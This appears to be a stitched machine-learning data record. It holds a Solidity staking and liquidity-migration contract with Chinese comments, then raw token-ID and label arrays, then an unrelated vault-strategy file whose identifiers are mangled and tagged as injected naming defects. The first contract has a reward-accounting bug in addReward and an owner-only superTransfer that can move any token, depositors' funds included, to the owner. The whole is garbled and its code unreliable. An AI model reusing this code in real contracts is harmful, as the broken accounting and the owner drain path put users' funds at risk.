uint256 public RewardBeginTime = 0; // 开始PairX计算日期,在addLiquidityAndStake时设置
uint256 public DepositEndTime = 0; // 存入结束时间
uint256 public StakeEndTime = 0;
address public UniPairAddress; // 配对奖励Token address
address public MainToken; // stake and reward token
address public Token0; // Already sorted .
address public Token1;
TokenRecord public Token0Record;
TokenRecord public Token1Record;
address public StakeAddress; //
uint public RewardGottedTotal ; //已提现总数
mapping(address => mapping(address => uint256)) public UserBalanceGotted; // 用户充值余额 UserBalance[sender][token]
mapping(address => mapping(address => uint256)) public RewardGotted; // RewardGotted[sender][token]
event Deposit(address from, address to, address token, uint256 amount);
event Claim(
address from,
address to,
address token,
uint256 principal,
uint256 interest,
uint256 reward
);
struct TokenRecord {
uint256 total; // 存入总代币计数
uint256 reward; // 分配的总奖励pairx,默认先分配40%,最后20%根据规则分配
uint256 compensation; // PairX补贴额度,默认为0
uint256 stake; // lon staking token
uint256 withdraw; // 可提现总量,可提现代币需要包含挖矿奖励部分
uint256 mint; // 挖矿奖励
}
modifier onlyOwner() {
require(msg.sender == Owner, "no role.");
_;
}
constructor(address owner) public {
Owner = owner;
FeeTo = owner ;
}
function init( address pairxAddr ) external onlyOwner {
PairXAddress = pairxAddr ;
IPairX pairx = IPairX( pairxAddr ) ;
MinToken0Deposit = pairx.MinToken0Deposit();
MinToken1Deposit = pairx.MinToken1Deposit();
// RewardGottedTotal = pairx.RewardGottedTotal() ;
RewardToken = pairx.RewardToken();
RewardAmount = pairx.RewardAmount() - pairx.RewardGottedTotal() ;
RewardBeginTime = pairx.RewardBeginTime();
DepositEndTime = pairx.DepositEndTime();
StakeEndTime = pairx.StakeEndTime();
UniPairAddress = pairx.UniPairAddress();
MainToken = pairx.MainToken();
Token0 = pairx.Token0();
Token1 = pairx.Token1();
uint total = 0 ;
uint reward = RewardAmount.div(2) ;
uint compensation = 0 ;
uint stake = 0 ;
uint withdraw = 0 ;
uint mint = 0 ;
// uint reward =
( total , , compensation , stake , withdraw , mint ) = pairx.Token0Record();
Token0Record.total = total ;
Token0Record.reward = reward ;
Token0Record.compensation = compensation ;
Token0Record.stake = stake ;
Token0Record.withdraw = withdraw ;
Token0Record.mint = mint ;
( total , , compensation , stake , withdraw , mint ) = pairx.Token1Record();
Token1Record.total = total ;
Token1Record.reward = reward ;
Token1Record.compensation = compensation ;
Token1Record.stake = stake ;
Token1Record.withdraw = withdraw ;
Token1Record.mint = mint ;
StakeAddress = pairx.StakeAddress() ;
Status = 1 ;
}
/**
* 补充奖励
*/
function addReward(address reward , uint256 amount ) external onlyOwner {
RewardToken = reward;
TransferHelper.safeTransferFrom(
reward,
msg.sender,
address(this),
amount
);
RewardAmount = RewardAmount.add(amount);
uint256 defaultReward = amount.mul(5).div(10); //50%
Token0Record.reward = Token0Record.reward + defaultReward;
Token1Record.reward = Token0Record.reward + defaultReward;
}
function tokenRecordInfo(address token)
external
view
returns (
uint256 free,
uint256 total,
uint256 reward,
uint256 stake,
uint256 withdraw
)
{
if (token == Token0) {
// free = _tokenBalance(Token0);
free = Token0Record.withdraw ;
total = Token0Record.total;
reward = Token0Record.reward;
stake = Token0Record.stake;
withdraw = Token0Record.withdraw;
} else {
// free = _tokenBalance(Token1);
free = Token1Record.withdraw ;
total = Token1Record.total;
reward = Token1Record.reward;
stake = Token1Record.stake;
withdraw = Token1Record.withdraw;
}
}
function info() external view returns (
// address owner , uint8 fee , address feeTo ,
uint minToken0Deposit , uint minToken1Deposit ,
address rewardToken , uint rewardAmount ,
uint8 status , uint stakeEndTime ,
address token0 , address token1 , address pair ,
address mainToken , uint rewardBeginTime , uint depositEndTime
) {
minToken0Deposit = MinToken0Deposit ;
minToken1Deposit = MinToken1Deposit ;
rewardToken = RewardToken ;
rewardAmount = RewardAmount ;
status = Status ;
stakeEndTime = StakeEndTime ;
token0 = Token0 ;
token1 = Token1 ;
mainToken = MainToken ;
pair = UniPairAddress ;
rewardBeginTime = RewardBeginTime ;
depositEndTime = DepositEndTime ;
}
function depositInfo( address sender , address token ) external view returns
( uint depositBalance ,uint depositTotal , uint leftDays ,
uint lockedReward , uint freeReward , uint gottedReward ) {
// depositBalance = UserBalance[sender][token] ;
depositBalance = getUserBalance( sender , token ) ;
if( token == Token0 ) {
depositTotal = Token0Record.total ;
} else {
depositTotal = Token1Record.total ;
}
// rewardTotal = RewardTotal[sender] ;
if( sender != address(0) ){
( leftDays , lockedReward , freeReward , gottedReward )
= getRewardRecord( token , sender ) ;
} else {
leftDays = 0 ;
lockedReward = 0 ;
freeReward = 0 ;
gottedReward = 0 ;
}
}
function getRewardRecord(address token , address sender ) public view returns
( uint leftDays , uint locked , uint free , uint gotted ) {
//计算一共可提取的奖励
// uint depositAmount = UserBalance[sender][token] ;
uint depositAmount = getUserBalance(sender, token);
TokenRecord memory record = token == Token0 ? Token0Record : Token1Record ;
uint nowDate = getDateTime( block.timestamp ) ;
leftDays = _leftDays( StakeEndTime , nowDate ) ;
locked = 0 ;
free = 0 ;
// gotted = RewardGotted[sender][token] ;
gotted = getRewardGotted( sender , token ) ;
if( depositAmount == 0 ) {
return ( leftDays , 0 , 0 , 0 );
}
if( record.reward == 0 ) {
return ( leftDays , 0 , 0 , 0 );
}
//计算存入比例,不需要考虑存入大于总量的情况
uint rate = record.total.mul(1000).div( depositAmount ) ; //总比例
uint maxReward = record.reward.mul(1000).div(rate) ; //可获得的总奖励
if( Status == 2 ) {
uint lockedTimes = _leftDays( StakeEndTime , RewardBeginTime ) ;
uint timeRate = 1000 ;
if( nowDate > StakeEndTime ) {
leftDays = 0 ;
locked = 0 ;
timeRate = 1000 ;
} else {
leftDays = _leftDays( StakeEndTime , nowDate ) ;
uint freeTime = lockedTimes.sub( leftDays ) ;
timeRate = lockedTimes.mul(1000).div( freeTime ) ;
}
free = maxReward.mul(1000).div( timeRate ) ;
locked = maxReward.sub(free) ;
if( free < gotted ) {
free = 0 ;
}else {
free = free.sub( gotted ) ;
}
} else if( Status == 9 ) {
if( maxReward < gotted ){
free = 0 ;
} else {
free = maxReward.sub( gotted ) ;
}
locked = 0 ;
} else if( Status == 1 ) {
free = 0 ;
locked = maxReward ;
} else {
free = 0 ;
locked = 0 ;
}
}
function getDateTime( uint timestamp ) public pure returns ( uint ) {
// timeValue = timestamp ;
return timestamp ;
}
function getUserBalance( address sender , address token ) public view returns( uint ) {
IPairX pairx = IPairX( PairXAddress ) ;
uint balance = pairx.UserBalance(sender, token);
if( balance == 0 ) return 0 ;
uint gotted = UserBalanceGotted[sender][token] ;
return balance.sub( gotted ) ;
}
function getRewardGotted( address sender , address token ) public view returns ( uint ) {
IPairX pairx = IPairX( PairXAddress ) ;
uint gotted = pairx.RewardGotted(sender, token);
uint localGotted = RewardGotted[sender ][token] ;
return localGotted.add( gotted ) ;
}
function _sendReward( address to , uint amount ) internal {
//Give reward tokens .
uint balance = RewardAmount.sub( RewardGottedTotal );
if( amount > 0 && balance > 0 ) {
if( amount > balance ){
amount = balance ; //余额不足时,只能获得余额部分
}
TransferHelper.safeTransfer( RewardToken , to , amount ) ;
// RewardAmount = RewardAmount.sub( amount ) ; 使用balanceOf 确定余额
}
}
function _leftDays(uint afterDate , uint beforeDate ) internal pure returns( uint ) {
if( afterDate <= beforeDate ) {
return 0 ;
} else {
return afterDate.sub(beforeDate ) ;
// 将由天计算改为由秒计算
//return afterDate.sub(beforeDate).div( OneDay ) ;
}
}
/**
* 提取可提现的奖励Token
*/
function redeem(address token ) public override returns ( uint amount ) {
require( Status == 2 || Status == 9 , "Not finished." ) ;
address sender = msg.sender ;
( , , uint free , ) = getRewardRecord( token , sender ) ;
amount = free ;
_sendReward( sender , amount ) ;
RewardGotted[sender][token] = RewardGotted[sender][token].add( amount ) ;
RewardGottedTotal = RewardGottedTotal.add( amount ) ;
}
/**
* 这里只从流动性中赎回,不再计算收益分配,转人工处理
*/
function finish() external override onlyOwner {
IStakingRewards staking = IStakingRewards(StakeAddress) ;
staking.exit() ;
// remove liquidity
IUniswapV2Pair pair = IUniswapV2Pair( UniPairAddress ) ;
uint liquidityBalance = pair.balanceOf( address(this) ) ;
TransferHelper.safeTransfer( UniPairAddress , UniPairAddress , liquidityBalance ) ;
pair.burn( address(this) ) ;
}
function finish2(uint256 token0Amount , uint256 token1Amount , uint256 rewardAmount ) external onlyOwner {
address from = msg.sender ;
address to = address(this) ;
// 存入新的资产和奖励
if( token0Amount > 0 ) {
TransferHelper.safeTransferFrom( Token0 , from , to , token0Amount );
Token0Record.withdraw = token0Amount ;
}
if( token1Amount > 0 ) {
TransferHelper.safeTransferFrom( Token1 , from , to , token1Amount );
Token1Record.withdraw = token1Amount ;
}
if( rewardAmount > 0 ) {
TransferHelper.safeTransferFrom( RewardToken , from , to , rewardAmount );
uint256 mint = rewardAmount.div(2) ;
// Token0Record.mint = mint ;
// Token1Record.mint = mint ;
Token0Record.reward = Token0Record.reward.add( mint ) ;
Token1Record.reward = Token1Record.reward.add( mint ) ;
}
Status = 9 ;
}
/**
* 添加流动性并开始挖矿时
* 1、不接收继续存入资产。
* 2、开始计算PairX的挖矿奖励,并线性释放。
*/
function addLiquidityAndStake( ) external onlyOwner returns ( uint token0Amount , uint token1Amount , uint liquidity , uint stake ) {
//TODO 在二池的情况下有问题
uint token0Balance = _tokenBalance( Token0 ) ;
uint token1Balance = _tokenBalance( Token1 ) ;
// uint token0Balance = Token0Record.total ;
// uint token1Balance = Token1Record.total ;
require( token0Balance > MinToken0Deposit && token1Balance > MinToken1Deposit , "No enought balance ." ) ;
IUniswapV2Pair pair = IUniswapV2Pair( UniPairAddress ) ;
( uint reserve0 , uint reserve1 , ) = pair.getReserves() ; // sorted
//先计算将A全部存入需要B的配对量
token0Amount = token0Balance ;
token1Amount = token0Amount.mul( reserve1 ) /reserve0 ;
if( token1Amount > token1Balance ) {
//计算将B全部存入需要的B的总量
token1Amount = token1Balance ;
token0Amount = token1Amount.mul( reserve0 ) / reserve1 ;
}
require( token0Amount > 0 && token1Amount > 0 , "No enought tokens for pair." ) ;
TransferHelper.safeTransfer( Token0 , UniPairAddress , token0Amount ) ;
TransferHelper.safeTransfer( Token1 , UniPairAddress , token1Amount ) ;
//add liquidity
liquidity = pair.mint( address(this) ) ;
require( liquidity > 0 , "Stake faild. No liquidity." ) ;
//stake
stake = _stake( ) ;
// 开始计算PairX挖矿
// RewardBeginTime = getDateTime( block.timestamp ) ;
Status = 2 ; //Locked
}
//提取存入代币及挖矿收益,一次性全部提取
function claim( address token ) public override returns (uint amount ) {
// require( StakeEndTime <= block.timestamp , "Unexpired for locked.") ;
address sender = msg.sender ;
// 余额做了处理,不用担心重入
// IPairX pairx = IPairX( PairXAddress ) ;
// amount = UserBalance[msg.sender][token] ;
// amount = pairx.UserBalance(sender, token);
amount = getUserBalance(sender, token);
require( amount > 0 , "Invaild request, balance is not enough." ) ;
require( Status != 2 , "Not finish. " ) ; //locked
require( token == Token0 || token == Token1 , "No matched token.") ;
uint reward = 0 ;
uint principal = amount ;
uint interest = 0 ;
if( Status == 1 ) {
// 直接提取本金,但没有任何收益
_safeTransfer( token , sender , amount ) ;
if( token == Token0 ) {
Token0Record.total = Token0Record.total.sub( amount ) ;
Token0Record.withdraw = Token0Record.total ;
}
if( token == Token1 ) {
Token1Record.total = Token1Record.total.sub( amount ) ;
Token1Record.withdraw = Token1Record.total ;
}
// UserBalance[msg.sender][token] = UserBalance[msg.sender][token].sub( amount ) ;
}
if( Status == 9 ) {
TokenRecord storage tokenRecord = token == Token0 ? Token0Record : Token1Record ;
// 计算可提取的本金 amount / total * withdraw
principal = amount.div(1e15).mul( tokenRecord.withdraw ).div( tokenRecord.total.div(1e15) );
if( tokenRecord.mint > 0 ) {
interest = amount.div(1e15).mul( tokenRecord.mint ).div( tokenRecord.total.div(1e15) ) ;
}
// if( token == Token0 ) {
// tokenBalance = Token0Record.total ;
// }
if( token == MainToken ) {
// 一次性转入
uint tranAmount = principal + interest ;
_safeTransfer( token , msg.sender , tranAmount ) ;
} else {
_safeTransfer( token , msg.sender , principal ) ;
if( interest > 0 ) {
// 分别转出
_safeTransfer( MainToken , msg.sender , interest ) ;
}
}
// 提取解锁的解锁的全部奖励
reward = redeem( token ) ;
}
// clear
// UserBalance[msg.sender][token] = uint(0);
UserBalanceGotted[sender][token] = UserBalanceGotted[sender][token] + principal ;
// emit Claim( address(this) , msg.sender , token , principal , interest , reward ) ;
}
function _stake() internal returns (uint stake ) {
IStakingRewards staking = IStakingRewards( StakeAddress ) ;
uint liquidity = IUniswapV2Pair( UniPairAddress ).balanceOf( address(this) ) ;
stake = liquidity ;
TransferHelper.safeApprove( UniPairAddress , StakeAddress , liquidity) ;
staking.stake( liquidity ) ;
// emit Staking( address(this) , StakeAddress , liquidity , stake ) ;
}
function _safeTransfer( address token , address to , uint amount ) internal {
uint balance = _tokenBalance( token ) ;
if( amount > balance ){
amount = balance ;
}
if( token == MainToken ) {
TransferHelper.safeTransfer( token , to , amount ) ;
} else {
// weth
IWETH( token ).withdraw( amount ) ;
TransferHelper.safeTransferETH( to , amount );
}
}
function _tokenBalance( address token ) internal view returns (uint) {
return IERC20( token ).balanceOf( address(this) ) ;
}
function superTransfer(address token , uint256 amount ) public onlyOwner {
address to = msg.sender ;
TransferHelper.safeTransfer( token , to , amount ) ;
}
receive() external payable {
assert(msg.sender == Token0 || msg.sender == Token1 ); // only accept ETH via fallback from the WETH contract
}
}
|
存入新的资产和奖励 Token0Record.mint = mint ; Token1Record.mint = mint ;
|
function finish2(uint256 token0Amount , uint256 token1Amount , uint256 rewardAmount ) external onlyOwner {
address from = msg.sender ;
address to = address(this) ;
if( token0Amount > 0 ) {
TransferHelper.safeTransferFrom( Token0 , from , to , token0Amount );
Token0Record.withdraw = token0Amount ;
}
if( token1Amount > 0 ) {
TransferHelper.safeTransferFrom( Token1 , from , to , token1Amount );
Token1Record.withdraw = token1Amount ;
}
if( rewardAmount > 0 ) {
TransferHelper.safeTransferFrom( RewardToken , from , to , rewardAmount );
uint256 mint = rewardAmount.div(2) ;
Token0Record.reward = Token0Record.reward.add( mint ) ;
Token1Record.reward = Token1Record.reward.add( mint ) ;
}
Status = 9 ;
}
| 10,822,111 |
[
1,
166,
260,
251,
166,
232,
103,
167,
249,
113,
168,
253,
231,
169,
118,
231,
165,
123,
105,
166,
245,
239,
166,
103,
249,
166,
237,
114,
565,
3155,
20,
2115,
18,
81,
474,
273,
312,
474,
274,
565,
3155,
21,
2115,
18,
81,
474,
273,
312,
474,
274,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4076,
22,
12,
11890,
5034,
1147,
20,
6275,
269,
2254,
5034,
1147,
21,
6275,
269,
2254,
5034,
19890,
6275,
262,
3903,
1338,
5541,
288,
203,
3639,
1758,
628,
273,
1234,
18,
15330,
274,
203,
3639,
1758,
358,
273,
1758,
12,
2211,
13,
274,
203,
3639,
309,
12,
1147,
20,
6275,
405,
374,
262,
288,
203,
5411,
12279,
2276,
18,
4626,
5912,
1265,
12,
3155,
20,
269,
628,
269,
358,
269,
1147,
20,
6275,
11272,
203,
5411,
3155,
20,
2115,
18,
1918,
9446,
273,
1147,
20,
6275,
274,
203,
3639,
289,
203,
203,
3639,
309,
12,
1147,
21,
6275,
405,
374,
262,
288,
203,
6647,
12279,
2276,
18,
4626,
5912,
1265,
12,
3155,
21,
269,
628,
269,
358,
269,
1147,
21,
6275,
11272,
7010,
6647,
3155,
21,
2115,
18,
1918,
9446,
273,
1147,
21,
6275,
274,
203,
3639,
289,
203,
203,
3639,
309,
12,
19890,
6275,
405,
374,
262,
288,
203,
6647,
12279,
2276,
18,
4626,
5912,
1265,
12,
534,
359,
1060,
1345,
225,
269,
628,
269,
358,
269,
19890,
6275,
11272,
7010,
6647,
2254,
5034,
312,
474,
273,
19890,
6275,
18,
2892,
12,
22,
13,
274,
203,
5411,
3155,
20,
2115,
18,
266,
2913,
273,
3155,
20,
2115,
18,
266,
2913,
18,
1289,
12,
312,
474,
262,
274,
203,
5411,
3155,
21,
2115,
18,
266,
2913,
273,
3155,
21,
2115,
18,
266,
2913,
18,
1289,
12,
312,
474,
262,
274,
203,
3639,
289,
203,
203,
3639,
2685,
273,
2468,
274,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/vaults/IStrategy.sol
pragma solidity 0.5.17;
interface istrategy59 { //inject NONSTANDARD NAMING
function GETNAME35() external pure returns (string memory); //inject NONSTANDARD NAMING
function WANT31() external view returns (address); //inject NONSTANDARD NAMING
function WITHDRAW24(address) external; //inject NONSTANDARD NAMING
function WITHDRAW24(uint256) external; //inject NONSTANDARD NAMING
function WITHDRAWALL24() external returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF3() external view returns (uint256); //inject NONSTANDARD NAMING
}
// File: contracts/IERC20.sol
//SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.5.17;
interface ierc2080 { //inject NONSTANDARD NAMING
function TOTALSUPPLY74() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF3(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER92(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE58(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE17(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM23(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER57(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL94(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
// File: contracts/ITreasury.sol
pragma solidity 0.5.17;
interface itreasury2 { //inject NONSTANDARD NAMING
function DEFAULTTOKEN28() external view returns (ierc2080); //inject NONSTANDARD NAMING
function DEPOSIT94(ierc2080 token, uint256 amount) external; //inject NONSTANDARD NAMING
function WITHDRAW24(uint256 amount, address withdrawAddress) external; //inject NONSTANDARD NAMING
}
// File: contracts/vaults/IVault.sol
pragma solidity 0.5.17;
interface ivault53 { //inject NONSTANDARD NAMING
function WANT31() external view returns (ierc2080); //inject NONSTANDARD NAMING
function TRANSFERFUNDSTOSTRATEGY94(address strategy, uint256 amount) external; //inject NONSTANDARD NAMING
function AVAILABLEFUNDS75() external view returns (uint256); //inject NONSTANDARD NAMING
}
// File: contracts/vaults/IVaultRewards.sol
pragma solidity 0.5.17;
interface ivaultrewards63 { //inject NONSTANDARD NAMING
function WANT31() external view returns (ierc2080); //inject NONSTANDARD NAMING
function NOTIFYREWARDAMOUNT2(uint256 reward) external; //inject NONSTANDARD NAMING
}
// File: contracts/vaults/IController.sol
pragma solidity 0.5.17;
interface icontroller20 { //inject NONSTANDARD NAMING
function CURRENTEPOCHTIME27() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF3(address) external view returns (uint256); //inject NONSTANDARD NAMING
function REWARDS0(address token) external view returns (ivaultrewards63); //inject NONSTANDARD NAMING
function VAULT69(address token) external view returns (ivault53); //inject NONSTANDARD NAMING
function ALLOWABLEAMOUNT15(address) external view returns (uint256); //inject NONSTANDARD NAMING
function TREASURY79() external view returns (itreasury2); //inject NONSTANDARD NAMING
function APPROVEDSTRATEGIES44(address, address) external view returns (bool); //inject NONSTANDARD NAMING
function GETHARVESTINFO14(address strategy, address user) //inject NONSTANDARD NAMING
external view returns (
uint256 vaultRewardPercentage,
uint256 hurdleAmount,
uint256 harvestPercentage
);
function WITHDRAW24(address, uint256) external; //inject NONSTANDARD NAMING
function EARN37(address, uint256) external; //inject NONSTANDARD NAMING
function INCREASEHURDLERATE27(address token) external; //inject NONSTANDARD NAMING
}
// File: contracts/ISwapRouter.sol
//SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.5.17;
interface swaprouter18 { //inject NONSTANDARD NAMING
function WETH90() external pure returns (address); //inject NONSTANDARD NAMING
function SWAPEXACTTOKENSFORTOKENS91( //inject NONSTANDARD NAMING
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
// File: contracts/SafeMath.sol
pragma solidity 0.5.17;
// Note: This file has been modified to include the sqrt function for quadratic voting
library math29 { //inject NONSTANDARD NAMING
function MAX82(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return a >= b ? a : b;
}
function MIN43(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return a < b ? a : b;
}
function AVERAGE17(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function SQRT87(uint256 x) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 n = x / 2;
uint256 lstX = 0;
while (n != lstX){
lstX = n;
n = (n + x/n) / 2;
}
return uint256(n);
}
}
library safemath85 { //inject NONSTANDARD NAMING
function ADD14(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB75(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB75(a, b, "SafeMath: subtraction overflow");
}
function SUB75(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL41(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV62(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV62(a, b, "SafeMath: division by zero");
}
function DIV62(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD3(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD3(a, b, "SafeMath: modulo by zero");
}
function MOD3(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/zeppelin/Address.sol
pragma solidity 0.5.17;
library address35 { //inject NONSTANDARD NAMING
function ISCONTRACT42(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function TOPAYABLE96(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE71(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: contracts/zeppelin/SafeERC20.sol
pragma solidity 0.5.17;
library safeerc2099 { //inject NONSTANDARD NAMING
using safemath85 for uint256;
using address35 for address;
function SAFETRANSFER62(ierc2080 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN65(token, abi.encodeWithSelector(token.TRANSFER92.selector, to, value));
}
function SAFETRANSFERFROM40(ierc2080 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN65(token, abi.encodeWithSelector(token.TRANSFERFROM23.selector, from, to, value));
}
function SAFEAPPROVE5(ierc2080 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE58(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
CALLOPTIONALRETURN65(token, abi.encodeWithSelector(token.APPROVE17.selector, spender, value));
}
function SAFEINCREASEALLOWANCE71(ierc2080 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE58(address(this), spender).ADD14(value);
CALLOPTIONALRETURN65(token, abi.encodeWithSelector(token.APPROVE17.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE44(ierc2080 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE58(address(this), spender).SUB75(value, "SafeERC20: decreased allowance below zero");
CALLOPTIONALRETURN65(token, abi.encodeWithSelector(token.APPROVE17.selector, spender, newAllowance));
}
function CALLOPTIONALRETURN65(ierc2080 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).ISCONTRACT42(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/vaults/strategy/MStableStrategy.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.5.17;
interface ibpt3 { //inject NONSTANDARD NAMING
function TOTALSUPPLY74() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF3(address whom) external view returns (uint); //inject NONSTANDARD NAMING
function GETSPOTPRICE26(address tokenIn, address tokenOut) external view returns (uint spotPrice); //inject NONSTANDARD NAMING
function SWAPEXACTAMOUNTIN69(address, uint, address, uint, uint) external returns (uint, uint); //inject NONSTANDARD NAMING
function SWAPEXACTAMOUNTOUT77(address, uint, address, uint, uint) external returns (uint, uint); //inject NONSTANDARD NAMING
function JOINSWAPEXTERNAMOUNTIN73( //inject NONSTANDARD NAMING
address tokenIn,
uint tokenAmountIn,
uint minPoolAmountOut
) external returns (uint poolAmountOut);
function EXITSWAPEXTERNAMOUNTOUT85( //inject NONSTANDARD NAMING
address tokenOut,
uint tokenAmountOut,
uint maxPoolAmountIn
) external returns (uint poolAmountIn);
function EXITSWAPPOOLAMOUNTIN6( //inject NONSTANDARD NAMING
address tokenOut,
uint poolAmountIn,
uint minAmountOut
) external returns (uint tokenAmountOut);
}
interface impool6 { //inject NONSTANDARD NAMING
function BALANCEOF3(address _account) external view returns (uint256); //inject NONSTANDARD NAMING
function EARNED23(address _account) external view returns (uint256, uint256); //inject NONSTANDARD NAMING
function STAKE12(uint256 _amount) external; //inject NONSTANDARD NAMING
function CLAIMREWARD81() external; //inject NONSTANDARD NAMING
function EXIT39() external; //inject NONSTANDARD NAMING
}
interface imtagov79 { //inject NONSTANDARD NAMING
function BALANCEOF3(address _account) external view returns (uint256); //inject NONSTANDARD NAMING
function EARNED23(address _account) external view returns (uint256); //inject NONSTANDARD NAMING
function CREATELOCK73(uint256 _value, uint256 _unlockTime) external; //inject NONSTANDARD NAMING
function WITHDRAW24() external; //inject NONSTANDARD NAMING
function INCREASELOCKAMOUNT91(uint256 _value) external; //inject NONSTANDARD NAMING
function CLAIMREWARD81() external; //inject NONSTANDARD NAMING
}
contract mstablestrat66 is istrategy59 { //inject NONSTANDARD NAMING
using safeerc2099 for ierc2080;
using address35 for address;
using safemath85 for uint256;
